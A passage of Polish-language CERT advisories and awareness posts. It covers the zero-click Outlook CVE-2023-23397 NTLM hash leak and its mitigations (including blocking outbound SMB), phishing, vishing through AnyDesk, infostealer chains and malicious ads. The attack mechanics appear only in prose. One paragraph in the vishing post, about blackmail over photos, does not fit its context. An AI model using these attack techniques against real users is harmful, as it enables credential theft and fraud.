Podatność była aktywnie używana w atakach przez jedną z rosyjskich grup APT od kwietnia 2022 roku, w tym w Polsce. Rekomendujemy podjęcie natychmiastowych działań we wszystkich organizacjach, których użytkownicy korzystają z poczty poprzez klienta Microsoft Outlook.

Aktualizacja 15.03:
Szczegóły podatności zostały już opisane publicznie i można się spodziewać masowych ataków z jej wykorzystaniem w najbliższych dniach.

Szczegóły podatności i zagrożenia

Podatność pozwala na przechwycenie skrótu NTLMv2 i późniejszą próbę odzyskania hasła domenowego poprzez atak siłowy. W sytuacji gdy atakujący ma dostęp do sieci lokalnej ofiary, możliwe jest również bezpośrednie wykorzystanie skrótu NTLMv2 do zalogowania w innych usługach bez potrzeby jego łamania, tzw. NTLM relay.

Do przeprowadzenia ataku wystarczy otrzymanie przez ofiarę wiadomości e-mail zawierającej odpowiednio spreparowane wydarzenie kalendarza albo zadanie, które spowoduje odwołanie do ścieżki UNC kontrolowanej przez atakującego. Nie jest wymagana żadna interakcja użytkownika. Atak może zostać przeprowadzony zdalnie. Pozyskane hasło domenowe może być użyte do logowania do innych dostępnych publicznie usług firmowych, np. VPNa. Jeśli nie jest wykorzystywane uwierzytelnianie dwuskładnikowe, może to doprowadzić do uzyskania przez atakującego dostępu do sieci firmowej.

Podatne wersje i rekomendacje aktualizacji

Podatne są wszystkie wersje Microsoft Outlook na platformę Windows. Nie są podatne wersje na platformy Android, iOS, czy macOS. Usługi chmurowe jak Microsoft 365 również nie są podatne. Zalecamy niezwłoczną aktualizację klientów Outlook zgodnie z wytycznymi na dedykowanej stronie: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397.

Tymczasowe obejścia i ogólne rekomendacje

Zablokowanie ruchu wychodzącego po protokole SMB (445/TCP) z organizacji, lub ograniczenie go do zaufanych serwerów.
Jeśli nie jest to możliwe do wdrożenia w krótkim czasie, dokładne monitorowanie ruchu wychodzącego po protokole SMB pod kątem odwołań do nowych serwerów.
Jeśli jest to możliwe, wyłączenie uwierzytelniania mechanizmem NTLM poprzez dodanie kont użytkowników do grupy Protected Users Security Group (w szczególności kont administratorów domeny). Uwaga: Może to mieć wpływ na działanie aplikacji, które wymagają NTLM.
Stosowanie silnych haseł – znacząco utrudni to złamanie skrótu NTLMv2 pozyskanego poprzez wykorzystanie podatności.
Stosowanie uwierzytelniania dwuskładnikowego, w szczególności do usług wystawionych do internetu, jak np. gateway VPN, czy OWA.
Nieudostępnianie w internecie usług, które nie pozwalają na wykorzystanie uwierzytelniania dwuskładnikowego, jak RDP, czy SMB.

Wykrycie prób wykorzystania podatności

Firma Microsoft udostępniła skrypt Powershell, dzięki któremu można sprawdzić czy użytkownicy w organizacji otrzymali wiadomości umożliwiające wykorzystanie podatności. Jeżeli narzędzie wykaże obiekty z podanymi zewnętrznymi ścieżkami UNC, może to oznaczać, że Państwa organizacja padła ofiarą ataku. Rekomendujemy niezwłoczne użycie narzędzia przez administratorów serwerów Exchange.

Link do narzędzia: https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/.

Zalecamy również przejrzenie archiwalnych logów sieciowych pod kątem ruchu wychodzącego po protokole SMB (445/TCP), do serwerów nie wykorzystywanych regularnie przez organizacje.

W przypadku wykrycia prób wykorzystania podatności zalecamy niezwłoczną weryfikację logów w celu potwierdzenia możliwego przejęcia kont, rozpoczęcie procedury obsługi incydentu oraz skontaktowanie się z właściwym zespołem CSIRT:

"Nie klikaj w podejrzane linki" - czyli jak nie ostrzegać przed zagrożeniem

2023-03-13T15:30:00+01:00

W ostatnich latach temat cyberbezpieczeństwa zyskuje coraz większą popularność. Przy okazji pojawiają się różne rekomendacje związane z tym zagadnieniem. Na szczególną uwagę zasługują wszelkie zalecenia mówiące o „nieklikaniu w podejrzane linki", które zazwyczaj są tworzone w zestawieniu z alarmującymi tytułami, jak np.: „Kliknęła w link i straciła oszczędności". W tym artykule skupimy się na wytłumaczeniu dlaczego „kliknięcie w link" nie musi być niebezpieczne oraz przedstawimy argumenty za tym dlaczego porada przestrzegająca przed „podejrzanymi" linkami nie jest jasna i wymaga szerszego omówienia.

Sytuacja zazwyczaj wyglądała następująco: ktoś kliknął w link i trafił na stronę, która była łudząco podobna do strony internetowej banku lub portalu społecznościowego. Użytkownik nie dostrzegł różnicy i wpisał swoje dane do logowania. Oszuści wykorzystali wyłudzone dane, aby uzyskać dostęp do konta i środków ofiary. Z perspektywy użytkownika utrata środków mogła wyglądać na bezpośrednie następstwo kliknięcia w nieodpowiedni link. Jednak w rzeczywistości najistotniejszym problemem nie było samo kliknięcie w link, ale to, że strona, na której podał dane, była fałszywa. Należy podkreślić, że jest możliwe stworzenie strony o dowolnym wyglądzie. Dlatego też strony tworzone przez oszustów mogą wyglądać właściwie tak samo jak prawdziwe. W związku z tym należy zwracać szczególną uwagę na wszystkie formularze do podawania danych.

Zacznijmy od wyjaśnienia czym są linki

Linki (hiperłącza) to odnośniki, które umożliwiają użytkownikom internetu swobodne przemieszczanie się między materiałami i treściami na stronach internetowych lub między miejscami w danym dokumencie.

Wielu użytkownikom linki kojarzą się przede wszystkim z SMS-ami i wiadomościami email, gdzie najczęściej są widoczne jako klikalny adres strony zaczynający się zazwyczaj od http:// lub https://. Linki jednak mogą się także kryć pod dowolnym klikalnym elementem na stronie internetowej lub w wiadomości email.

Linki zawierają w sobie tekst widziany przez użytkownika oraz informację o docelowym adresie lub zasobie. Niektóre źródła radzą by skierować kursor myszki na link, co spowoduje wyświetlenie docelowego adresu URL w lewym dolnym rogu okna.

Należy jednak zwrócić uwagę, że dla przeciętnego użytkownika przeanalizowanie wyświetlonego linku lub adresu może okazać się trudne. Dodatkowo, ten sposób nie sprawdzi się w przypadku powszechnie stosowanych dziś skracaczy, czyli narzędzi, które pozwalają zamienić długi adres internetowy na zaledwie kilka znaków. Jeśli takie narzędzie zostało zastosowane, to poznanie domeny docelowej będzie możliwe dopiero po wejściu we wskazany link.

Czy kliknięcie w link może być niebezpieczne?

Warto to podkreślić, samo kliknięcie w link w znaczącej większości przypadków nie jest niebezpieczne. Dopiero akcje wykonane na stronie lub zawartości kontrolowanej przez oszustów mogą przynieść szkody.

Jednak od każdej reguły musi istnieć wyjątek i o nim też musimy powiedzieć. Są to podatności, czyli błędy i luki w oprogramowaniu. Przestępcy mogą je wykorzystać, aby poprzez stronę internetową uzyskać dostęp do jakichś zasobów, które normalnie powinny być niedostępne bez dodatkowej interakcji ze strony użytkownika. Jednak nie powinniśmy się tego obawiać jeżeli na bieżąco aktualizujemy oprogramowanie - zabezpiecza to nas przed ich wykorzystaniem.

Oczywiście możliwe jest, że staniemy się ofiarą ataku wykorzystującego nieznane podatności, jednak jest to niezwykle mało prawdopodobne. Wynika to z faktu, że znalezienie takowych w dojrzałym oprogramowaniu jest trudne, więc koszt takiego ataku jest bardzo wysoki. Warto też wspomnieć, że nie są znane masowe kampanie, w których atakujący na dużą skalę wykorzystywaliby nieznane podatności - spowodowałoby to ich natychmiastowe wykrycie przez specjalistów.

Kiedy linki możemy uznać za podejrzane?

Na ogół nasze wątpliwości budzą te wiadomości, których się nie spodziewamy. Jednak oszuści, aby uśpić naszą czujność, wysyłają wiadomości nie wzbudzające podejrzeń, czyli takie, które faktycznie moglibyśmy otrzymać. Należy bowiem pamiętać, że wiadomości phishingowe są bardzo często podobne do prawdziwych komunikatów różnych usługodawców. Dla przeciętnego odbiorcy, który nie dysponuje wiedzą o technikach stosowanych przez oszustów, weryfikacja nadawcy może się okazać utrudniona.

Należy podkreślić, że możliwe jest sfałszowanie pola nadawcy w wiadomości SMS. Przestępcy mogą zrobić to za pomocą ogólnodostępnych narzędzi. Analogiczna sytuacja ma miejsce w przypadku wiadomości mailowych. Chociaż nazwa nadawcy może wskazywać na jakąś firmę lub się z nią kojarzyć, to w rzeczywistości nie powinniśmy brać tego jako wyznacznik prawdziwości wiadomości. Możliwa jest bowiem sytuacja, że dana wiadomość została wysłana przez kogoś innego.

Warto też pamiętać, że linki do stron o charakterze phishingowym są dystrybuowane nie tylko za pomocą wiadomości mailowych i SMSów. Można natknąć się na nie np. we wpisach na portalach społecznościowych i w prywatnych wiadomościach wysłanych z przejętych kont. Prowadzą one do stron podszywających się pod zadany podmiot i ich celem jest zachęcenie do podania poufnych informacji.

Nadal popularne są też oszustwa na platformach aukcyjnych, gdzie sprzedawcy otrzymują linki do stron, na których rzekomo można odebrać pieniądze za sprzedany przedmiot. Na stronach tych użytkownik proszony jest o podanie danych karty płatniczej lub wyświetlana mu jest spreparowana strona logowania swojego banku.

Ostatnio linki do stron phishingowych są zamieszczane także w reklamach w wyszukiwarce i wyglądają jak zwykłe wyniki wyszukiwania.

Jak więc możemy się uchronić przed podaniem danych na fałszywej stronie?

Za każdym razem, gdy widzimy stronę, która prosi nas o dane, a w szczególności, gdy zobaczymy jakiś panel logowania, należy dokładnie sprawdzić na jakiej stronie rzeczywiście się znaleźliśmy.

Możemy to zrobić jedynie poprzez sprawdzenie domeny strony, na której jesteśmy (np. teraz jesteście na domenie cert.pl). Nazwa domeny znajduje się w pasku adresu i jest zazwyczaj oznaczona nieco innym kolorem. Należy ją porównać z domeną, którą zawsze widzimy, gdy się logujemy do danego serwisu.

Warto rozważyć też użycie menedżera haseł. Menadżer haseł nie tylko ułatwi nam korzystanie z internetu, bo nie będziemy musieli pamiętać wszystkich haseł do kilkunastu lub kilkudziesięciu różnych usług internetowych, z których korzystamy, ale przede wszystkim zwiększy nasze bezpieczeństwo. Jeśli menadżer haseł oferuje integrację z przeglądarką np. w formie wtyczki lub jest już w nią wbudowany, to taki menadżer haseł powiąże hasło z daną stroną i pozwoli na jego uzupełnienie tylko na prawdziwej stronie.

Innym dobrym sposobem jest korzystanie z kluczy bezpieczeństwa FIDO2. Są to wygodne i łatwe w użyciu urządzenia, które wystarczy nosić ze sobą i wpiąć w port USB komputera albo przyłożyć do telefonu, gdy chcemy się zalogować.

Dodatkowo, w przypadku operacji bankowych przed potwierdzeniem ich, należy dokładnie przeczytać opis w SMS-ie z kodem lub powiadomieniu w aplikacji bankowej i sprawdzić czy rodzaj operacji oraz kwota się zgadzają.

Kampania phishingowa wykorzystująca wizerunek serwisu Netflix

2023-03-08T10:00:00+01:00

CERT Polska od dłuższego czasu obserwuje kampanię phishingową ukierunkowaną na użytkowników serwisu streamingowego Netflix. Celem przestępców jest wyłudzenie dostępu do konta do serwisu Netflix oraz danych karty płatniczej.

Schemat działania

Standardowo oszustwo rozpoczyna się od wiadomości mailowej w języku polskim, której celem jest przykucie uwagi potencjalnej ofiary. Maile są rozsyłane pod przypadkowe adresy, także do osób nieposiadających konta w serwisie Netflix.

Charakterystyczną cechą tej kampanii jest szeroki wachlarz szablonów wiadomości stosowanych przez oszustów. Informują one np. o rzekomych problemach z rozliczeniem ostatniej płatności, aktualizacji warunków korzystania z usługi czy możliwości uzyskania zwrotu za niesłuszne obciążenie karty w wyniku awarii. Jednak wszystkie te wiadomości zawierają niezmienny element - link prowadzący do kontrolowanej przez oszustów strony. Warto zwrócić uwagę, że te strony najczęściej są na domenie ze strefy .pl i nie próbują w żaden sposób imitować prawidłowej domeny netflix.com.

Po podaniu danych logowania trafiają one w ręce oszustów, którzy mogą wykorzystać je do przejęcie konta. Natomiast ofiara, będąc ciągle na stronie kontrolowanej przez oszustów, jest informowana o rzekomych problemach z ostatnią płatnością i wynikającą z nich koniecznością aktualizacji danych. Strona wymaga w tym celu uzupełnienia formularza, który obejmuje dane osobowe oraz dane karty płatniczej, takie jak jej numer, data ważności oraz kod zabezpieczający (CVV), wykorzystywany do autoryzacji transakcji.

Po jego wysłaniu strona wyświetla komunikat końcowy i może przekierować do prawdziwej witryny. W tym momencie oszuści mogą wykorzystać uzyskane informacje do wyprowadzenia środków z rachunku bankowego, do którego przypisana jest karta.

Dodatkowo, nasz zespół zaobserwował identyczną kampanię, która różniła się jedynie sposobem dystrybucji. W tym przypadku oszuści wysyłali wiadomości SMS, które zawierały informację o tymczasowej blokadzie konta. Miała ona rzekomo zostać usunięta po zweryfikowaniu danych przez użytkownika. Link zamieszczony w wiadomości ponownie prowadził do strony wyłudzającej dane użytkowników.

Jak się chronić?

W przypadku otrzymania wiadomości mailowej należy zwracać szczególną uwagę, czy adres nadawcy nie budzi wątpliwości. Ponadto warto uważnie czytać treść maila - wiadomości oszustów, choć są napisane w polskim języku, bardzo często zawierają błędy językowe i literówki. Przed logowaniem na stronie należy sprawdzić, czy jej adres zgadza się z domeną serwisu Netflix (w tym przypadku netflix.com). W razie wątpliwości co do prawdziwości otrzymanej wiadomości lub strony internetowej zalecamy powstrzymanie się od podawania jakichkolwiek informacji i kontakt z pomocą techniczną serwisu Netflix lub przesłanie zgłoszenia do naszego zespołu za pośrednictwem formularza.

Co zrobić w przypadku, gdy doszło do wyłudzenia danych

W pierwszej kolejności należy natychmiast skontaktować się z bankiem i zastrzec kartę płatniczą. Następnie zalecamy podjąć kroki w celu zabezpieczenia konta na platformie Netflix. W tym celu rekomendujemy zmianę hasła i zakończenie wszystkich nieznanych sesji (więcej informacji na ten temat można znaleźć na stronie pomocy technicznej). Gdy konto zostało już przejęte i nie ma możliwości zalogowania się do niego wówczas należy skontaktować się z pomocą techniczną platformy. Jeżeli doszło do obciążenia rachunku to należy zgłosić kradzież organom ścigania, a następnie złożyć reklamację w banku lub skorzystać z mechanizmu ChargeBack.

Nigeryjski przekręt

2023-02-24T15:00:00+01:00

Nigeryjski przekręt jest jednym z najstarszych oszustw. Schemat z wiadomości przesyłanych listownie przeszedł na wiadomości mailowe w latach 80 XX wieku. W początkowych scenariuszach nadawca wiadomości oferował transfer bardzo dużej kwoty pieniędzy, które najczęściej miały pochodzić z Nigerii.

Schemat działania

Oszustwo rozpoczyna się od wiadomości email, z której wynika, że odbiorca ma okazję bardzo łatwo się wzbogacić. Pierwsza wiadomość informuje o możliwości uzyskania dużych ilości pieniędzy oraz zachęca do kontaktu zwrotnego. Jeśli potencjalna ofiara odpowie na wiadomość, przestępcy przy pomocy działań socjotechnicznych namawiają do wpłaty pieniędzy na konto oszusta. Ma to rzekomo sfinansować kilka małych przedsięwzięć, które mają być niezbędnym krokiem przed zdobyciem fortuny oferowanej w początkowej wiadomości.

Przestępcy zazwyczaj w celu uwiarygodnienia swojej historii przesyłają spreparowane dokumenty lub zdjęcia. Ofiary po wykonaniu jednej lub kilku wpłat na coraz to większe kwoty orientują się, że padli ofiarą oszustwa.

Najczęściej spotykane motywy wiadomości to:

Możliwość otrzymania spadku
Wygrana w loterii organizowanej przez znanego milionera
Pomoc w transferze pieniędzy z zagranicznych kont w celach inwestycyjnych
Pomoc w ucieczce skorumpowanego urzędnika
Pomoc w opłaceniu leczenia chorego członka rodziny

Jak się chronić?

Wszelkie wiadomości, według których możemy zdobyć ogromne środki pieniężne niskim nakładem, oferty przejęcia spadku albo bycia pośrednikiem w transakcjach na duże kwoty powinny zawsze wzbudzać naszą czujność. Oszuści zazwyczaj starają się dopasować język do narodowości ofiary. Najlepszą ochroną jest czujność, w tym analiza wiadomości od nieznanych nadawców oraz nieuleganie zbyt optymistycznym ofertom.

Co zrobić w przypadku utraty pieniędzy?

Chociaż odzyskanie pieniędzy w takim przypadku może okazać się trudne, sprawę należy zgłosić na Policję, ponieważ jest to podmiot posiadający uprawnienia organów ścigania. W tym celu najlepiej się udać na najbliższy komisariat policji z wydrukowanymi materiałami dokumentującymi incydent. Oszustwo nigeryjskie jest klasyfikowane jako przestępstwo przez polskie ustawodawstwo zgodnie z art. 286 k.k. Zalecamy również złożenie reklamacji w banku, w niektórych przypadkach może to doprowadzić do zablokowania środków jeszcze przed odebraniem ich przez oszustów.

W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane wiadomości można nam zgłosić za pomocą formularza na stronie: https://incydent.cert.pl lub za pośrednictwem wiadomości e-mail na adres: cert@cert.pl.

Infekcje szkodliwym oprogramowaniem typu infostealer

2023-02-16T15:00:00+01:00

W ostatnim czasie zespół CERT Polska zaobserwował wzmożoną dystrybucję malspamu na skrzynki pocztowe polskich użytkowników. Celem ataku jest zainfekowanie komputera szkodliwym oprogramowaniem typu infostealer.

Schemat działania na przykładzie kampanii wykorzystującej wizerunek Głównego Urzędu Statystycznego

1.Otrzymanie wiadomości e-mail

Potencjalna ofiara otrzymuje na swój adres e-mail wiadomość, rzekomo od Głównego Urzędu Statystycznego, o objęciu jej obowiązkiem sprawozdawczym, zgodnie z którym musi wypełnić elektroniczny formularz zgłoszenia, zamieszczony w załączniku wiadomości. W celu uwiarygodnienia wiadomości nadawca powołuje się na szereg przepisów prawnych i zamieszcza linki prowadzące do rzeczywistej strony Biuletynu Informacji Publicznej.

2.Pobranie złośliwego załącznika

W rzeczywistości załącznikiem jest archiwum, które zawiera plik wykonywalny Elektroniczny formularz zgłoszenia.exe, będący szkodliwym oprogramowaniem z rodziny GuLoader/CloudEyE. Jego zadaniem jest jedynie zweryfikowanie, czy program nie został uruchomiony w środowisku wirtualnym, a następnie pobranie właściwego pliku ze złośliwym oprogramowaniem z zewnętrznej strony i uruchomienie go.

3.Eksfiltracja danych

Szkodliwe oprogramowanie, które jest pobierane w ostatniej fazie infekcji, pochodzi z rodziny Agent Tesla/OriginLogger. Charakteryzuje się ona wykradaniem danych wrażliwych z komputera ofiary m.in. zapisanych haseł i ciasteczek z przeglądarki, informacji o systemie, a także haseł z najpopularniejszych aplikacji. W kolejnym etapie dane te są eksfiltrowane za pomocą jedenej z wielu dostępnych metod takich jak wysyłanie maili (SMTP), serwer FTP albo nawet korzystając z możliwości API takich platform jak Telegram czy Discord.

Ważne informacje

W celu uwiarygodnienia oszustwa przestępcy wielokrotnie wykorzystują przejęte konta pocztowe, domeny podobne do prawdziwych instytucji, ale również podszywają się pod nadawcę w skutek braku poprawnej konfiguracji mechanizmów SPF i DMARC, o których można przeczytać w naszym artykule.

Oszuści bardzo często w celu zmylenia potencjalnej ofiary i systemów bezpieczeństwa stosują różne rozszerzenia archiwum zamieszczanych w wiadomości email np. .zip, .7z, .cab, .iso oraz .img!

Nie zawsze też szkodliwe oprogramowanie znajduje się bezpośrednio w załączniku do wiadomości e-mail. W jednym z zaobserwowanych w ubiegłym roku wariantów na skrzynki pocztowe trafiały wiadomości, które w treści zawierały wyłącznie link do platformy OneDrive, która służyła do pobrania spakowanego archiwum.

W pliku tym natomiast znajdowało się kolejne archiwum oraz plik z hasłem do jego odszyfrowania. Dopiero po rozpakowaniu drugiego archiwum, pośród plików znajdował się właściwy złośliwy plik wykonywalny Document.PDF.SCR. Jego uruchomienie powodowało zainstalowanie szkodliwego oprogramowania z rodziny Redline Stealer, którego główną funkcjonalnością jest wysoce skuteczna kradzież danych uwierzytelniających zapisanych na komputerze.

Skutki oszustwa

Celem infekcji komputerów z systemem operacyjnym Windows szkodliwym oprogramowaniem typu infostealer jest m.in. kradzież danych uwierzytelniających do bankowości elektronicznej oraz innych serwisów, które były zapisane w przeglądarkach, ale także plików cookies. Niektóre rodziny szkodliwego oprogramowania charakteryzują się również przechwytywaniem klawiszy naciskach przez użytkownika. Po uzyskaniu takich danych przestępcy dokonują kradzieży pieniędzy z konta bankowego lub uzyskują dostępy do kont społecznościowych czy też pocztowych, które mogą posłużyć do dalszej dystrybucji szkodliwego oprogramowania.

Co zrobić w przypadku zainfekowania komputera szkodliwym oprogramowaniem?

W pierwszej kolejności należy odłączyć urządzenie od sieci (zarówno przewodowej jak i bezprzewodowej).

Wykorzystując inne niezainfekowane urządzenie, należy zmienić wszystkie hasła, które były zapisane w przeglądarce i innych aplikacjach, a także tych, które były podawane już po infekcji szkodliwym oprogramowaniem. Zachęcamy przy tym do zapoznania się z artykułem poświęconym zasadom stosowania bezpiecznych haseł, dostępny jest on pod adresem https://cert.pl/posts/2022/01/kompleksowo-o-haslach/

Sugerujemy wykonanie kopii zapasowej danych, następnie przeinstalowanie systemu operacyjnego i przywrócenie najważniejszych danych ze wspomnianej kopii zapasowej.

Alternatywnie zainfekowane urządzenie można przeskanować za pomocą programu antywirusego. W systemie Windows można wykorzystać do tego wbudowany program Windows Defender. Jednak warto pamiętać, że nie daje to gwarancji pełnego usunięcia szkodliwego oprogramowania.

W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane strony oraz oprogramowanie można nam zgłosić za pomocą formularza na stronie: https://incydent.cert.pl/ lub za pośrednictwem wiadomości e-mail na adres: cert@cert.pl.

Ataki socjotechniczne

2023-02-14T16:30:00+01:00

Schemat działania

Cyberprzestępcy kontaktują się ze swoimi potencjalnymi ofiarami telefonicznie. Na początku rozmowy przedstawiają nieprawdziwą sytuację, która wydaje się pilna i wymaga szybkiego działania. Oto dwa najczęstsze przykłady:

dzwoniący przedstawia się jako pracownik konkretnego banku, Biura Informacji Kredytowej, KNF lub innej instytucji finansowej. Informuje, że w danym momencie ktoś próbuje złożyć wniosek kredytowy na dane ofiary, zmienić dane uwierzytelniające lub wykonać przelew. Zachęca do współpracy w celu powstrzymania tego działania.
sprawcy podszywają się pod pracowników znanych giełd kryptowalut lub Forex (np. Blockchain, XTB) i informują o koncie rzekomo założonym kilka lat temu, na którym pozostawiona przez ofiarę niewielka kwota, poprzez automatyzację inwestowania, urosła do sumy kilku tysięcy złotych. Proponują wypłacenie tych środków, dodatkowo wzmacniając presję koniecznością poinformowania Urzędu Skarbowego w przypadku odmowy współpracy.

Następnie podczas kolejnych połączeń i rozmów ofiara zachęcana jest do zainstalowania aplikacji Anydesk. Program ten pozwala na zdalny dostęp do pulpitu, a co za tym idzie na wykonywanie czynności za tego użytkownika. Dodatkowo poszkodowani proszeni są o zalogowanie się do swojego konta bankowego, w celu wykonania kolejnych niezbędnych czynności. Sprawcy, mając dostęp do pulpitu i konta wykonują przelewy na swoje rachunki. Dodatkowo są w stanie zaciągnąć szybką pożyczkę w banku na dane swojej ofiary i również te środki ukraść.

Skutki oszustwa

Podjęcie komunikacji oraz udostępnienie zdjęć skutkowałoby najprawdopodobniej kolejnymi szantażami oraz próbą wyłudzenia środków pieniężnych. Należy zauważyć, że jakiekolwiek próby podejmowania rozmowy czy negocjacji z przestępcami eskalują potencjalny konflikt i prowadzą jedynie do coraz to większych żądań.

Jak się zachować, kiedy zadzwoni do nas taka osoba

Jeśli zauważysz, że rozmowa telefoniczna jest opisaną tutaj próbą wyłudzenia, po prostu się rozłącz. Jeśli mimo świadomości, że jest to kłamstwo, chcesz się upewnić czy Twoje konto bankowe jest bezpieczne, przejdź do witryny internetowej organizacji (np. Banku) i zadzwoń bezpośrednio na numer obsługi klienta. W ten sposób możesz się upewnić, że rozmawiasz z pracownikiem konkretnej organizacji.

Ważne informacje

Należy zwrócić uwagę, że przestępcy potrafią sfałszować numer telefonu, który wyświetla się potencjalnej ofierze. Jest to tzw. spoofing numeru telefonu. Często sprawcy podszywają się pod oficjalne numery banków lub zwykłych osób fizycznych, mimo że połączenia tak naprawdę wykonywane są z zupełnie innych numerów. Dlatego też odradzamy oddzwaniania na te numery, ponieważ często kontaktujemy się w takim wypadku z osobami, które nie są niczego świadome, a połączenie nie wyszło z ich telefonu.

Co zrobić w przypadku, gdy doszło już do wyłudzenia środków lub zalogowania się na konto, kiedy przestępcy mieli dostęp do zdalnego pulpitu?

W tym przypadku zalecamy podjąć następujące kroki:

jak najszybciej skontaktować się ze swoim bankiem
zmienić hasło do bankowości internetowej
jeżeli doszło do wyłudzenia środków finansowych, zgłosić ten fakt na najbliższym komisariacie Policji
podejrzane wiadomości SMS, zawierające adres URL, przekazać nam na numer 8080, a wszelkie inne zagrożenia zgłosić za pomocą formularza na stronie: https://incydent.cert.pl/

Nowa kampania reklamowa “ad hijacking” za pośrednictwem Google Ads.

2023-02-06T12:30:00+01:00

Schemat działania

1.Promowanie fałszywych stron w Google Adsense

Zespół CERT Polska zaobserwował wariant oszustwa, w którym przestępcy wykorzystują Google Ads do pozycjonowania na pierwszych miejscach w wyszukiwarce stron rozpowszechniających szkodliwe oprogramowanie.

Przestępcy tworzą strony internetowe z nazwami domen łudząco podobnymi do nazw producentów oprogramowania. Strony te pojawiają się na pierwszych miejscach wyników wyszukiwania w Google, przez co nie wzbudzają podejrzeń.

Źródło: https://www.reddit.com/r/blender/comments/vvrxko/warning_fake_blender_website_paying_for_priority/

2.Dystrybucja szkodliwego oprogramowania z fałszywej strony

Po kliknięciu w reklamę następuje przekierowanie na fałszywą stronę podszywającą się pod producenta wybranego oprogramowania.

Celem takich ataków jest nakłonienie użytkowników do pobrania złośliwych programów lub niechcianych aplikacji. Często na stronie głównej fałszywej strony znajduje się odnośnik do pobrania pliku ze szkodliwym oprogramowaniem w formacie .exe lub .zip.

Microsoft w zeszłym miesiącu ujawnił kampanię, która wykorzystywała reklamy do dystrybucji BatLoadera, złośliwego instalatora wykorzystywanego między innymi do infekowania komputerów ransomwarem Royal.

Inny popularny wariant działań oszustów dotyczy szkodliwego oprogramowania z rodziny IcedID, które wykorzystywane jest do dostarczania kolejnych niepożądanych programów bądź skryptów, takich jak np. Cobalt Strike. Umożliwia to cyberprzestępcom uzyskanie pełnego dostępu do systemu ofiary.

Skutki oszustwa

Uruchomienie pobranego pliku prowadzi najczęściej do zainfekowania systemu szkodliwym oprogramowaniem, które wykrada dane z urządzenia i przesyła je do przestępców. W ten sposób atakujący uzyskują m.in. dostęp do danych uwierzytelniających do serwisów, z których korzysta ofiara.

Jak się chronić?

Istotnym środkiem prewencyjnym jest weryfikacja czy pozycja domeny internetowej w wyszukiwarce jest wynikiem popularności czy reklamy. Jednak nie zawsze może to być proste do rozpoznania, dlatego dodatkowo:

Zalecamy weryfikację czy używana sieć jest chroniona przez naszą Listę Ostrzeżeń. Można tego dokonać pod adresem: https://lista.cert.pl/.
Nie zalecamy przechodzenia na strony z reklam, w wynikach wyszukiwania, jeśli nie jesteśmy pewni ich prawdziwego adresu.
Warto porównać kilka pierwszych wyników wyszukiwania, zwłaszcza wyniki w ramach reklam w wyszukiwarce z klasycznymi wynikami bazującymi między innymi na częstotliwości wejść innych użytkowników Internetu.
Przed uruchomieniem pliku instalacyjnego lub wypakowaniu skompresowanego pliku warto zwrócić uwagę czy system bądź antywirus nie ostrzega użytkownika przed nieznanym lub niebezpiecznym plikiem. W przypadku wystąpienia ostrzeżenia zalecamy natychmiast przerwać podejmowane dziania i zgłosić do nas podejrzany plik.
W razie jakichkolwiek wątpliwości co do strony lub pliku zalecamy kontakt z naszym zespołem w celu weryfikacji domeny i zasobów na niej zawartych.

Co zrobić w przypadku zainfekowania urządzenia złośliwym oprogramowaniem?

W pierwszej kolejności należy odłączyć urządzenie od sieci (zarówno przewodowej jak i bezprzewodowej).

Sugerujemy wykonanie kopii zapasowej danych, następnie przeinstalowanie systemu operacyjnego i przywrócenie najważniejszych danych ze wspomnianej kopii zapasowej.

Alternatywnie zainfekowane urządzenie można przeskanować za pomocą programu antywirusego. W systemie Windows można wykorzystać do tego wbudowany program Windows Defender. Jednak warto pamiętać, że nie daje to gwarancji pełnego usunięcia szkodliwego oprogramowania.

W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane strony oraz oprogramowanie można nam zgłosić za pomocą formularza na stronie: https://incydent.cert.pl lub za pośrednictwem wiadomości e-mail na adres: cert@cert.pl.

Artemis – CERT Polska bada bezpieczeństwo polskiego internetu

2023-01-25T09:00:00+02:00

Nowy Rok przyniósł kolejne rozwiązania poprawiające bezpieczeństwo polskiego internetu. Jednym z nich jest Artemis – narzędzie rozwijane przez zespół CERT Polska, a zapoczątkowane przez członków koła Politechniki Warszawskiej KN Cyber, które pomaga sprawdzać poziom zabezpieczeń stron internetowych. Weryfikacji podlegają podmioty, w przypadku których, zgodnie z ustawą o krajowym systemie cyberbezpieczeństwa, obsługa incydentów koordynowana jest przez CSIRT NASK.

Jak działa Artemis?

Artemis bada strony udostępnione w internecie w poszukiwaniu podatności bezpieczeństwa i błędów konfiguracyjnych. Regularne skanowanie systemów podmiotów, w przypadku których obsługa incydentów koordynowana jest przez CSIRT NASK, pozwala monitorować i podnosić ich poziom bezpieczeństwa. Ma to kluczowe znaczenie, ponieważ są to instytucje, z których – jako obywatele – korzystamy na co dzień. Uzyskane wyniki nie są w żaden sposób upubliczniane, a jedynie niezwłocznie przekazywane administratorom, dzięki czemu zyskują oni cenną wiedzę na temat wykrytych podatności i mogą wykorzystać ją w celu poprawy bezpieczeństwa systemów. Warto też dodać, że w ramach ponownych testów zespół CERT Polska sprawdza, czy zostały wdrożone niezbędne poprawki.

Dlaczego potrzebujemy Artemisa?

Zespół CERT Polska od wejścia w życie ustawy o krajowym systemie cyberbezpieczeństwa realizuje część zadań CSIRT NASK i jest odpowiedzialny m.in. za:

monitorowanie zagrożeń cyberbezpieczeństwa i incydentów na poziomie krajowym;
przekazywanie informacji dotyczących incydentów i ryzyk podmiotom krajowego systemu cyberbezpieczeństwa;
prowadzenie zaawansowanych analiz złośliwego oprogramowania oraz analiz podatności;
monitorowanie wskaźników zagrożeń cyberbezpieczeństwa;
rozwijanie narzędzi i metod do wykrywania i zwalczania zagrożeń cyberbezpieczeństwa;
prowadzenie działań z zakresu budowania świadomości w obszarze cyberbezpieczeństwa;
tworzenie i udostępnianie narzędzi dobrowolnej współpracy i wymiany informacji o zagrożeniach cyberbezpieczeństwa i incydentach.

Artemis stanowi zatem jeszcze jeden sposób realizacji obowiązków, jakie ustawa nakłada na zespół CERT Polska, a jednocześnie daje możliwość skuteczniejszego działania na rzecz bezpieczeństwa podmiotów, które są w spektrum zainteresowania cyberprzestępców.

Kto zyska z Artemisem?

Wyznacznikiem jest dla nas ustawa o krajowym systemie cyberbezpieczeństwa. Zgodnie z jej zapisami CERT Polska pomaga dbać o cyberbezpieczeństwo m.in:

szkół,
szpitali,
instytutów badawczych,
